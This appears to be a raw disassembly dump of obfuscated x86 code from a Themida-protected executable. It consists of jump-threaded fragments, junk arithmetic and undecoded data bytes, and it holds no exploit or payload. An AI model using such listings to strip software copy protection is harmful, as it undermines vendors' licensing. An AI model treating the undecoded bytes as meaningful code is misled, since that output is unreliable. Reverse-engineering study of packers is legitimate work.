		dd 55295B00h, 5571DF00h, 55101900h, 5577F800h, 555B8100h
		dd 557ABF00h, 55142400h, 55724500h, 55053300h, 54F53700h
		dd 554DF000h, 55850000h, 552D2600h, 5573F000h, 553D3200h
		dd 5567E600h, 55A3F800h, 55012C00h, 55ACD100h, 54F47700h
		dd 55930D00h, 55696C00h, 55AFEC00h, 554F2200h, 553E1300h
		dd 54FA6800h, 551D2400h, 55134600h, 557AF400h, 55635400h
		dd 55174C00h, 557F8100h, 5544F500h, 558E7F00h, 5532E500h
		dd 552AF100h, 55010900h, 5552D600h, 551B9000h, 55484000h
		dd 550EDF00h, 55971700h, 557A3300h, 559E8C00h, 55AEBD00h
		dd 55878E00h, 5557F300h, 54EC6A00h, 557B1D00h, 55249600h
		dd 556D0700h, 557CBC00h, 557BB200h, 55809200h, 54FC6B00h
		dd 54FEE600h, 55871100h, 5505BD00h, 55A68C00h, 55362500h
		dd 55496000h, 5526FD00h, 55ADCE00h, 5526D200h, 55292500h
		dd 55B1B900h, 54FE5E00h
		db 0
; ---------------------------------------------------------------------------


loc_54EA15:				; CODE XREF: Themida_:005815F0j
					; Themida_:00581ECBj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6128007h
		mov	eax, edi
		add	edi, 6127D1Fh
		cmp	eax, [edi+2Ch]
		jnz	short loc_54EA33
		jmp	short loc_54EA46
; ---------------------------------------------------------------------------


loc_54EA33:				; CODE XREF: Themida_:0054EA2Fj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_54EA42
; ---------------------------------------------------------------------------


loc_54EA3D:				; CODE XREF: Themida_:0054EA44j
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_54EA42:				; CODE XREF: Themida_:0054EA3Bj
		or	ecx, ecx
		jnz	short loc_54EA3D


loc_54EA46:				; CODE XREF: Themida_:0054EA31j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_54EA53:				; CODE XREF: Themida_:0054EA5Aj
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_54EA53


loc_54EA5C:				; CODE XREF: Themida_:0054F0F3j
					; Themida_:0054FA7Cj ...
		lodsb
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 87h
		add	al, 8Dh
		add	al, 7Ch
		sub	al, dh
		sub	al, 7Ch
		sub	al, 8Dh
		pop	edx
		sub	al, 0ADh
		sub	al, bl
		jmp	loc_558580
; ---------------------------------------------------------------------------


loc_54EA79:				; CODE XREF: Themida_:00557A97j
		add	[ecx], ebp
		pop	ecx
		mov	ebp, [esp]
		push	6C41h
		jmp	loc_555D5D
; ---------------------------------------------------------------------------
		db 83h,	0E8h, 4
		dd 5C240487h, 5AAFE9h
		db 0
; ---------------------------------------------------------------------------


loc_54EA95:				; CODE XREF: Themida_:0055A491j
		mov	ecx, 5A661F9Dh
		or	ecx, 743D7F3Bh
		sub	ecx, 12F81717h
		jmp	loc_5535C4
; ---------------------------------------------------------------------------
		db 0BFh
		dd 7BFD7BECh, 97D0F797h, 0E781D7F7h, 390B5AC9h,	5ACCF781h
		dd 0FB013909h, 81243C8Bh, 4C4h,	96CBE900h, 0CB290000h
		dd 1C335959h, 237DE924h, 34FF0000h, 42AAE924h, 0C8B0000h
		dd 0E1895124h, 4C181h, 0E9810000h, 4, 0E9240C87h, 8305h
		dd 58E300h, 45A5BD8h, 0E9C828E9h, 5359h, 1A07EE81h, 0C6015455h
		dd 1A07C681h, 0C6815455h, 6DF33771h, 4555E9h, 535F5400h
		dd 4BBh, 5BDF0100h, 2B62E9h
		db 0
; ---------------------------------------------------------------------------


loc_54EB39:				; CODE XREF: Themida_:00559E2Aj
		pop	ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		mov	[esp], eax
		mov	al, 0Eh
		add	al, 49h
		xor	al, bh
		xor	bh, al
		xor	al, bh
		neg	bh
		xchg	bh, al
		shr	al, 5
		or	al, 81h
		push	eax
		sub	byte ptr [esp],	0FFh
		jmp	loc_5533D4
; ---------------------------------------------------------------------------
		db 51h
		dd 0A6153FB9h, 81D9F721h, 705900F1h, 5B26E92Eh,	8B5A0000h
		dd 1DE9241Ch, 81000072h, 4C3h, 4BF5700h, 1000000h, 0FF535FFBh
		dd 5B042474h, 8B24048Fh, 0C4812424h, 4,	8B2434FFh, 0C4832404h
		dd 8B545204h, 0C4832414h, 0A673E904h, 74FF0000h, 0FAE90424h
		dd 89000092h, 14B9240Ch, 81041E99h, 132ED0C7h, 0B572E928h
		dd 0C0830000h, 74FF5004h, 0D1E90424h
		db 8, 2	dup(0)
; ---------------------------------------------------------------------------


loc_54EBE3:				; CODE XREF: Themida_:00558C05j
		pop	eax
		sub	al, 0BCh
		add	al, cl
		push	ecx
		jmp	loc_550001
; ---------------------------------------------------------------------------
		dw 295Ch
		dd 243C8BF9h, 5204C483h, 97079EBAh, 5AD1292Ch, 0E94BD987h
		dd 6335h
; ---------------------------------------------------------------------------


loc_54EC08:				; CODE XREF: Themida_:0055AC7Bj
		mov	edi, 37F556CAh
		jmp	loc_55635D
; ---------------------------------------------------------------------------


loc_54EC12:				; CODE XREF: Themida_:0055545Dj
		push	ecx
		jmp	loc_55827B
; ---------------------------------------------------------------------------
		dd 24048B66h, 39BA68h, 243C8900h, 243C8B54h, 815A5452h
		dd 4C2h, 4C28100h, 87000000h, 248B2414h, 0AF56E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54EC42:				; CODE XREF: Themida_:00558F58j
		add	ebp, ebx
		jmp	loc_55AFB5
; ---------------------------------------------------------------------------


loc_54EC49:				; CODE XREF: Themida_:00559AAEj
		dec	al
		inc	al
		sub	al, 0ACh
		sub	al, 0F3h
		sub	bl, al
		pop	eax
		add	bl, 63h
		push	ecx
		push	edx
		mov	edx, 10B21218h
		inc	edx
		jmp	loc_557FEF
; ---------------------------------------------------------------------------
		dd 0FDF2E95Ch, 8B66FFFFh, 0EC812404h, 4, 83241489h, 248904ECh
		dd 0E4E95024h, 0BE00006Ah, 4, 0B5E9F101h, 53000011h, 3E34E9h
		db 0
; ---------------------------------------------------------------------------


loc_54EC95:				; CODE XREF: Themida_:00551E3Dj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54F0CD
; ---------------------------------------------------------------------------
		db 2Dh
		dd 6FD57C29h, 2905F829h, 0E96FD57Ch, 15DDh
; ---------------------------------------------------------------------------


loc_54ECB4:				; CODE XREF: Themida_:005549B1j
		inc	dl
		jmp	loc_5507AA
; ---------------------------------------------------------------------------


loc_54ECBB:				; CODE XREF: Themida_:00556DC8j
		mov	ebx, 11095B11h
		jmp	loc_5587FA
; ---------------------------------------------------------------------------


loc_54ECC5:				; CODE XREF: Themida_:00558B3Ej
		mov	edx, 2242131Eh
		and	edi, edx
		jmp	loc_54EFB0
; ---------------------------------------------------------------------------


loc_54ECD1:				; CODE XREF: Themida_:0055A511j
		pop	edx
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_552F11
; ---------------------------------------------------------------------------


loc_54ECE1:				; CODE XREF: Themida_:005567C2j
		add	edi, 40689B1Bh
		jmp	loc_5507CB
; ---------------------------------------------------------------------------


loc_54ECEC:				; CODE XREF: Themida_:005531B8j
		shl	edx, 1
		sub	esp, 4
		jmp	loc_559F01
; ---------------------------------------------------------------------------
		dw 835Dh
		dd 5EE904C4h, 0BD000044h, 2A35CEECh, 295AD529h,	0F8015DEFh
		dd 91DDE9h
		db 0
; ---------------------------------------------------------------------------


loc_54ED11:				; CODE XREF: Themida_:005519A0j
		pop	eax
		inc	eax
		shr	eax, 3
		xor	eax, 64F02EBh
		push	eax
		jmp	loc_5589BB
; ---------------------------------------------------------------------------
		db 0F6h, 0DEh, 0E9h
		dd 9872h
; ---------------------------------------------------------------------------


loc_54ED28:				; CODE XREF: Themida_:005587EAj
		push	eax
		mov	eax, 68764DD6h
		or	eax, 6DCD58F6h
		xor	eax, 0E3C1FABh
		sub	eax, 7E60C665h
		jmp	loc_54FC3A
; ---------------------------------------------------------------------------


loc_54ED42:				; CODE XREF: Themida_:00558CC3j
		pop	edx
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55AF54
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 433A57D4h, 1C5EE945h, 285A0000h, 2E958C5h
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54ED63:				; CODE XREF: Themida_:00551EE1j
		xor	edx, 68DA7C41h
		sub	edx, 0FFFFFFFFh
		add	edx, 3A2A3615h
		sub	edx, 6FBF24B7h
		jmp	loc_553A1F
; ---------------------------------------------------------------------------
		dd 48BC331h, 0E0895024h, 5D83E9h
		db 0
; ---------------------------------------------------------------------------


loc_54ED8D:				; CODE XREF: Themida_:00552776j
		sub	esi, eax
		jmp	loc_55458F
; ---------------------------------------------------------------------------
aTs?		db 'TéÂ?',0
		align 2
		dw 73B6h
		dd 0EE80D6F6h, 0A2EE80FFh, 1314E9h, 2434FF00h, 8124048Bh
		dd 4C4h, 0E0895000h, 6C36E9h
		db 0
; ---------------------------------------------------------------------------


loc_54EDBD:				; CODE XREF: Themida_:00559518j
		push	dword ptr [edx]
		mov	eax, [esp]
		add	esp, 4
		mov	edx, [esp]
		jmp	loc_55710E
; ---------------------------------------------------------------------------


loc_54EDCD:				; CODE XREF: Themida_:0055294Bj
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	edx
		push	ebx
		jmp	loc_55375E
; ---------------------------------------------------------------------------
		dw 0D729h
		dd 92F7815Ah, 0E97DEDA1h, 0B07Bh, 0E952E089h, 8B16h, 5C243487h
		dd 1F62C381h, 0EB812C39h, 402A2837h, 0AE3E9h, 24448100h
		dd 0B93A2004h, 24448147h, 0C9698B04h, 2444813Dh, 0EB6BE504h
		dd 24442938h, 0E5BB5304h, 2938EB6Bh, 0E908245Ch, 0ABB6h
; ---------------------------------------------------------------------------


loc_54EE34:				; CODE XREF: Themida_:005537D7j
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
aAM0Sm		db 'aì0ØéŒ`',0
		dd 243C3100h, 0E9243C33h, 0BFFBh, 3AE3815Eh, 0C1682707h
		dd 0EB8105E3h, 43D40542h, 0BAE3E951h, 0DA310000h, 2B8DE9h
		dd 0FBEEE900h, 0E981FFFFh, 142C4533h, 0DBC98149h, 0F767CD3Ah
		dd 20F181D1h, 0E99000C5h, 32B1h, 0BE243489h, 2,	348BF201h
		dd 4C48124h, 52000000h,	42474FFh, 14CEE95Ah, 0B1E90000h
		dd 55FFFFFBh, 38C9E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54EEB2:				; CODE XREF: Themida_:005584D3j
		pop	eax
		add	eax, 33544A89h
		jmp	loc_5566FB
; ---------------------------------------------------------------------------
aIYssx		db '‰ÏYéS•',0
		dd 0BEE98100h, 10C1C2Ah, 0BEBB53D1h, 0E90C1C2Ah, 5066h
; ---------------------------------------------------------------------------


loc_54EED8:				; CODE XREF: Themida_:00552920j
		add	ebp, ecx
		pop	ecx
		push	edi
		jmp	loc_553984
; ---------------------------------------------------------------------------
aIusZ		db '‰ã齇',0
		align 4
		dd 24048B66h, 484168h, 241C8900h, 2434FF54h, 81241C8Bh
		dd 4C4h, 4C48100h, 81000000h, 4C3h, 4EC8100h, 89000000h
		dd 2BE2434h, 81000000h,	7F47E2EBh, 81F3010Ch, 7F47E2C3h
		dd 0FF535E0Ch, 5B042474h, 8B24048Fh, 3CE92424h,	8100007Ch
		dd 1EAh, 35C6800h, 1C890000h, 0CCB95124h, 89165115h, 0DA3159CBh
		dd 0B19CE95Bh, 58540000h, 0EC168h, 243C8900h, 0D16F0668h
		dd 685F0Bh, 0E9000000h,	6C91h, 24148966h, 4BAD68h, 0A146E900h
		dd 0BA520000h, 550F220Ah, 6A14C281h, 0F2815AE6h, 0AFF58C1Ah
		dd 505AD601h, 66DFBB53h, 0D8896AE8h, 0E9241C8Bh, 0BAF6h
		dd 0E904C483h, 0A59Ah
; ---------------------------------------------------------------------------


loc_54EFB0:				; CODE XREF: Themida_:0054ECCCj
		pop	edx
		jmp	loc_54FADA
; ---------------------------------------------------------------------------
		dw 2966h
		dd 10566C8h, 0BF665756h, 66504C89h, 667F53B8h, 0E9281D2Dh
		dd 6C72h, 4EB0ED81h, 0E8295CF8h, 5E8295Dh, 22D358D0h, 4707F305h
		dd 0D8295D7Bh, 615EFF05h, 4EC8364h, 0B9240C89h,	2F47684Dh
		dd 0C8BC829h, 4C48124h,	81000000h, 4ECh, 24148900h, 87BFE9h
		db 0
; ---------------------------------------------------------------------------


loc_54F011:				; CODE XREF: Themida_:005522E4j
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_5534D5
; ---------------------------------------------------------------------------


loc_54F01D:				; CODE XREF: Themida_:0054F156j
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		not	ecx
		xchg	ecx, [esp]
		pop	eax
		push	edi
		push	ebp
		mov	ebp, 21F063FEh
		push	edx
		push	eax
		mov	eax, 0E726CE2h
		inc	eax
		inc	eax
		jmp	loc_553CC3
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 681E9h
		db 0
; ---------------------------------------------------------------------------


loc_54F049:				; CODE XREF: Themida_:00552E28j
		add	ebp, ebx
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	eax
		mov	eax, 2
		add	ebp, eax
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		xchg	ebp, [esp]
		jmp	loc_5564DB
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 2BA70095h, 149DBD55h, 454D62D9h, 658F581h, 0ED817A06h
		dd 18F45007h, 6CE2E9h
		db 0
; ---------------------------------------------------------------------------


loc_54F0A5:				; CODE XREF: Themida_:0055A247j
		xchg	edi, [esp]
		pop	esp


loc_54F0A9:				; CODE XREF: Themida_:0054F9E1j
					; Themida_:0055AC9Fj
		push	ebx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55177D
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4C28300h, 1A3E9h
		db 0
; ---------------------------------------------------------------------------


loc_54F0CD:				; CODE XREF: Themida_:0054EC9Ej
		push	2A22h
		mov	[esp], esi
		mov	esi, esp
		push	5DC7h
		jmp	loc_5542D4
; ---------------------------------------------------------------------------


loc_54F0E1:				; CODE XREF: Themida_:00553FCFj
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ebx, eax
		sub	ebx, 4CC87BF9h
		push	dword ptr [eax]
		jmp	loc_54EA5C
; ---------------------------------------------------------------------------


loc_54F0F8:				; CODE XREF: Themida_:0054F7F4j
		sub	eax, edi
		add	eax, 43913C22h
		pop	edi
		jmp	loc_556BF9
; ---------------------------------------------------------------------------
		db 0B0h, 67h, 0
aFxse		db 'ÃfXéE/',0
		align 10h


loc_54F110:				; CODE XREF: Themida_:00557E23j
		pop	ebp
		add	ebx, ecx
		add	ebx, 381F59F2h
		add	ebx, 1D9A5AC8h
		mov	[ebx], al
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_550BBC
; ---------------------------------------------------------------------------
aYs		db 'YéÌš',0
		align 2


loc_54F13E:				; CODE XREF: Themida_:0055AF1Bj
		add	edx, ebx
		pop	ebx
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_54F01D
; ---------------------------------------------------------------------------
		db 89h
		dd 0D1F75FF9h, 1971C181h, 0CB01180Ch, 9167E959h, 0E9500000h
		dd 926Bh, 0E987F280h, 7B83h, 78BCE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F182:				; CODE XREF: Themida_:00557071j
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_55ADDA
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 0E1895159h, 4C181h, 0E9560000h, 48E6h
; ---------------------------------------------------------------------------


loc_54F1A8:				; CODE XREF: Themida_:00552F19j
		pop	edx
		and	ebx, edx
		mov	edx, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	esi
		jmp	loc_5536CC
; ---------------------------------------------------------------------------


loc_54F1BD:				; CODE XREF: Themida_:00552EA8j
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		xchg	esi, [esp]
		jmp	loc_55B156
; ---------------------------------------------------------------------------
		dd 31241C33h, 0F793241Ch, 1C3193D0h, 241C3324h,	8B241C31h
		dd 0BBE9241Ch, 55000098h, 97C216BDh, 0E9EE2919h, 322h
		dd 0BE243489h, 64E64C29h, 209CE9h, 0E2895200h, 4C281h
		dd 0B8500000h, 4, 8758C229h, 0E92414h, 0C1000028h, 8E3505E8h
		dd 137ED7Eh, 0D30158C3h, 3D6FEB81h, 148B3611h, 4C48124h
		dd 53000000h, 42474FFh,	24048F5Bh, 6624248Bh, 2404AB0Fh
		dd 0F80EE99Ch, 159FFFFh, 241C8BDFh, 4C481h, 0C7810000h
		dd 2, 0E9243C87h, 5577h, 0E9243C87h, 6A22h, 5C241487h
		dd 66D83166h, 0E9241C8Bh, 0A5AFh, 3CC46853h, 815B7FB9h
		dd 46C340C3h, 5BDF8980h, 89CFE9h, 55E08900h, 4BDh, 2A610500h
		dd 83E9461Ah
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54F2A7:				; CODE XREF: Themida_:00555836j
		mov	[esp], edi
		pop	eax
		pop	edi
		push	2909h
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_557D1C
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 0E9240C8Bh, 0BADAh, 0CFC3805Ah, 0F3DEB80h
		dd 34FFC0B6h, 36E987h, 8B660000h, 54512404h, 4685059h
		dd 58000000h, 7E4E981h,	0C1015572h, 17B2E9h, 535E5400h
		dd 8C32B8BBh, 5BF38109h, 4B05560Bh, 34E3814Bh, 0E92F135Eh
		dd 6DA0h, 6DA6BA52h, 543168BEh,	148B0424h, 4C48324h, 582434FFh
		dd 81E38953h, 4C3h, 4C38300h, 8B241C87h, 2E92424h, 0AD000084h
		dd 0AF68D831h, 89000051h, 0E950243Ch, 0DE7h, 0DC6815Ah
		dd 15B5A45h, 2AE4E9FEh,	68500000h, 6C627AF4h, 8124048Bh
		dd 4C4h, 44A12D00h, 0C1891B26h,	3A52E9h
		db 0
; ---------------------------------------------------------------------------


loc_54F385:				; CODE XREF: Themida_:00553055j
		push	edi
		jmp	loc_5507FE
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 9610504h, 40595866h, 0E902E0C1h,	507Fh
; ---------------------------------------------------------------------------


loc_54F3A0:				; CODE XREF: Themida_:00552C1Cj
		pop	edi
		push	edx
		mov	edx, 0AC5E43ABh
		sub	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_554B84
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		jmp	loc_55706E
; ---------------------------------------------------------------------------
		db 0Dh,	21h, 0Fh
aMu5R8sE	db '¬U5)~8é^E',0
		align 4
		dd 81242C8Bh, 4C4h, 66E58100h, 81270752h, 0C601AEEDh, 0F6F5811Ch
		dd 89AEA01Eh, 51EAE9EEh, 0C4830000h, 24048B04h,	0F604C483h
		dd 4EAC0DAh, 0C002E2C0h, 0F28006EAh, 3073E911h,	248B0000h
		dd 0B60F6624h, 53686600h, 489664Dh, 0F632E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_54F42A:				; CODE XREF: Themida_:0054FAE9j
		add	edx, edi
		pop	edi
		push	esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_55A3AB
; ---------------------------------------------------------------------------
		dw 0CD01h
aYwsrq		db 'YWéRQ',0
		dw 8100h
		dd 4EEh, 24348700h, 240C895Ch, 5253E189h, 0DC5A15BAh, 1708BB1Fh
		dd 0D3315C2Ch, 34EB815Ah, 0E95FB978h, 0B3C8h, 45FFBD55h
		dd 0C1E96CDDh, 66000021h, 68240C8Bh, 0B00h, 54241C89h
		dd 0E9241C8Bh, 4F3Eh, 663CE95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F492:				; CODE XREF: Themida_:00556316j
		mov	ebx, 4FF54B86h
		inc	ebx
		sub	ebx, 74E46459h
		push	eax
		push	ebx
		jmp	loc_555421
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 87000000h, 0E95C240Ch, 4D1Eh, 24048F58h, 78E2E9h, 6EE95B00h
		dd 0B8000020h, 59731FA6h, 4EB5BF57h, 57522D9Bh,	65BEE9h
		dd 52665A00h, 0EF802CB2h, 0E9D7004Ah, 0A143h, 4C181h, 0EC810000h
		dd 4, 53241489h, 75F4BBh, 6A81E977h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F4FE:				; CODE XREF: Themida_:0055B05Cj
		xchg	esi, [esp]
		jmp	loc_551409
; ---------------------------------------------------------------------------


loc_54F506:				; CODE XREF: Themida_:00551298j
		push	edi
		mov	edi, 40h
		and	ecx, edi
		mov	edi, [esp]
		jmp	loc_550EEE
; ---------------------------------------------------------------------------
		dw 34FFh
aSJ		db '$]齦',0
		dw 5600h
		dd 2A01B7BEh, 0B3EE811Ah, 56A3BDBBh, 0AADCE9h
		db 0
; ---------------------------------------------------------------------------


loc_54F531:				; CODE XREF: Themida_:005527BDj
		push	esi
		jmp	loc_554171
; ---------------------------------------------------------------------------
		db 0ADh
		dd 3239BF57h, 79055CF9h, 2D51BD70h, 7A554236h, 73E9F829h
		db 95h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54F54F:				; CODE XREF: Themida_:0055A0F1j
		sub	ch, 6Eh
		or	dl, ch
		pop	ecx
		jmp	loc_550FE5
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0FDE92404h
		db 0A7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F563:				; CODE XREF: Themida_:00556818j
		neg	ecx
		inc	ecx
		xor	ecx, 28025CC4h
		jmp	loc_559597
; ---------------------------------------------------------------------------
		db 66h,	5Ah, 28h
		dd 241C8BF9h, 8004C483h, 0CE20A6C1h, 0E92434FFh, 0B69Bh
		dd 0C381E389h, 4, 964DE9h, 241C8900h, 965ADBBBh, 75BD5577h
		dd 8126664Fh, 8F7EDCCDh, 0E9DDF70Fh, 5AEAh
; ---------------------------------------------------------------------------


loc_54F5B0:				; CODE XREF: Themida_:0055989Aj
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		jmp	loc_554007
; ---------------------------------------------------------------------------
		dw 0F701h
a313S@h		db '^3<$1<$3<$é@H',0
		dw 8900h
		dd 0F5815EF5h, 485C5B77h, 1B951h, 0CD010000h, 38696859h
		dd 1C890000h, 0E8E0BB24h, 6EE9E594h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54F5FF:				; CODE XREF: Themida_:0055730Fj
		pop	dword ptr [esp]
		sub	esp, 4
		jmp	loc_553F08
; ---------------------------------------------------------------------------


loc_54F60D:				; CODE XREF: Themida_:005599A0j
		mov	[esp], ebx
		jmp	loc_55739A
; ---------------------------------------------------------------------------


loc_54F615:				; CODE XREF: Themida_:0054F991j
		push	0C49h
		mov	[esp], ebx
		mov	ebx, 7B983B9Eh
		not	ebx
		jmp	loc_557E08
; ---------------------------------------------------------------------------
		db 88h,	0F0h, 0FEh
		dd 58C688C0h, 888DEE80h, 1EE95AF4h, 0BF000035h,	4, 835FFE01h
		dd 348704C6h, 24248B24h, 8140478Fh, 4E3B4047h, 83E91CE2h
		dd 68FFFFF4h, 2, 0E9D6015Ah, 5BB7h, 3FE9D2F6h, 81000062h
		dd 4C4h, 0DEC28100h, 0E9581E1Eh, 2473h
; ---------------------------------------------------------------------------


loc_54F680:				; CODE XREF: Themida_:0054FC06j
		push	edx
		mov	edx, 705803E2h
		or	edx, 1E491B3Ah
		and	edx, 38E77174h
		push	eax
		jmp	loc_556C0D
; ---------------------------------------------------------------------------
aIPqs_		db 'ˆ×PQéÒ.',0
		db 0
; ---------------------------------------------------------------------------


loc_54F6A1:				; CODE XREF: Themida_:00550E2Cj
		inc	ebx
		not	ebx
		shr	ebx, 5
		inc	ebx
		add	ebx, 4948EC02h
		jmp	loc_556A23
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFFF3A4h, 3A4A6BBBh, 35F38116h, 0F740D929h, 8A31E9D3h
		dd 815E0000h, 4C4h, 0EEF8100h, 4F201E1Dh, 5621F781h, 0D7F759E8h
		dd 9E38E9h, 1902BF00h, 0F78115CCh, 0EA447B0h, 0A152C781h
		dd 52E9E497h, 0BF00005Ch, 0FFFFFFFFh, 7BE9FE29h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54F707:				; CODE XREF: Themida_:00554B26j
		xor	ebp, edx
		pop	edx
		shr	ebp, 7
		add	ebp, 6762457Bh
		jmp	loc_555E64
; ---------------------------------------------------------------------------
		dd 332031BAh, 1EA814Eh,	684DC4DFh, 2373h, 8B241489h, 0BCE92434h
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54F733:				; CODE XREF: Themida_:00551AB6j
		add	dl, 30h
		xor	al, dl
		pop	edx
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	bh, 8Ch
		xor	bh, 0EEh
		shr	bh, 3
		add	bh, 6Eh
		mov	cl, bh
		jmp	loc_55881F
; ---------------------------------------------------------------------------


loc_54F75D:				; CODE XREF: Themida_:00552BABj
		mov	[esp], ebp
		push	7BD5h
		mov	[esp], ebx
		push	1
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		xor	dword ptr [esp], 2D190512h
		pop	ebp
		jmp	loc_557D0A
; ---------------------------------------------------------------------------
		dw 0E981h
		dd 51972B0Fh, 54E9D901h, 5F000054h, 4C481h, 0FF660000h
		dd 0F2BAE930h, 0E95FFFFFh, 0ABF2h, 0C381E389h, 4, 4C381h
		dd 1C870000h, 9DE95C24h, 87FFFFF2h, 248B2404h, 4FF6624h
		dd 8DE99C24h, 80FFFFF2h, 0EBE912E7h
		db 3Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_54F7D7:				; CODE XREF: Themida_:00559701j
		mov	[esp], eax
		mov	eax, 4C10070Fh
		and	eax, 3E2A0CA0h
		sub	eax, 72D11766h
		push	edi
		mov	edi, 13AB4104h
		sub	eax, 43913C22h
		jmp	loc_54F0F8
; ---------------------------------------------------------------------------
		db 81h,	0F2h, 0E4h
aQ_bsvz		db ')Q_Bé‚z',0
		dd 0F0005900h, 5B9D2C5Ah, 597768h, 24148900h, 0B65CB551h
		dd 6245E93Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F81E:				; CODE XREF: Themida_:0055A65Cj
		and	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	esp, 4
		shr	eax, 0Ch
		xor	eax, ecx
		push	50E3h
		mov	[esp], eax
		push	edi
		jmp	loc_551446
; ---------------------------------------------------------------------------
		db 1
		dd 0C5815DEBh, 18CD23BCh, 0ED81DD01h, 18CD23BCh, 59D9E9h
		db 0
; ---------------------------------------------------------------------------


loc_54F865:				; CODE XREF: Themida_:00556F08j
		pop	esp
		add	al, 0DFh
		add	al, 7Eh
		sub	al, cl
		sub	al, 7Eh
		jmp	loc_550C10
; ---------------------------------------------------------------------------


loc_54F873:				; CODE XREF: Themida_:0055834Cj
		push	ecx
		mov	ecx, 51EC4173h
		and	ecx, 42411FB4h
		neg	ecx
		or	ecx, 651350BBh
		xor	ecx, 0FFBFFEFFh
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_551A52
; ---------------------------------------------------------------------------
aQs		db 'QéÖ<',0
		align 4


loc_54F8A4:				; CODE XREF: Themida_:005571ACj
		add	ebp, 27EC0358h
		sub	ebp, 68FA53A4h
		shl	ebp, 8
		add	ebp, 95236304h
		add	ecx, ebp
		pop	ebp
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		sub	edx, 40940940h
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55539A
; ---------------------------------------------------------------------------


loc_54F8D9:				; CODE XREF: Themida_:00555BCDj
					; Themida_:0055731Fj ...
		push	dword ptr [edi+24h]
		push	esi
		mov	esi, 66B9409Bh
		xor	[esp+4], esi
		pop	esi
		jmp	loc_551711
; ---------------------------------------------------------------------------
		dd 15BDA89h, 8B0203FAh,	0C4832414h, 0E3895304h,	4B951h
		dd 10E90000h, 28000059h, 5966EBh, 57C380CBh, 59A3C380h
		dd 38BB53h, 0DCE90000h
		db 0B6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_54F91F:				; CODE XREF: Themida_:0055306Dj
		neg	edi
		add	edi, 6EF5A4C9h
